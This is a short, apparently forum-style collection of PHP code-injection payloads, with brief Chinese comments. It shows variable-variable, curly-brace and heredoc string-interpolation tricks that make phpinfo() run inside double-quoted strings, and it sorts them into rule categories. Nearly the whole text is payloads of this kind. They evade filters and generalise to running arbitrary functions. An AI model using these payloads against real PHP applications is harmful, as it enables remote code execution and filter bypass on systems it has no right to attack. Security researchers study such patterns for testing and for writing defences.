"{$o0_0o{phpinfo()}}"
1
"{$我勒个去[phpinfo()]}"

"${~-~phpinfo()}"

"${0e0+phpinfo()}"
What fuck?

<?php

<<<我是好人

$→_→${$←_←{pHPINfo(~@-@~-$$总之，我是好人)}}

我是好人;

?>
我简单整理了下规则:

可变变量

" ${phpinfo()} "

" ${@phpinfo()} "

" ${${phpinfo()} }"

" ${{0x00-0x20}phpinfo()} "

" ${{逻辑||运算}phpinfo()} "

数组索引

" {${合法变量名}[phpinfo()]} "

" {${合法变量名}{phpinfo()}} "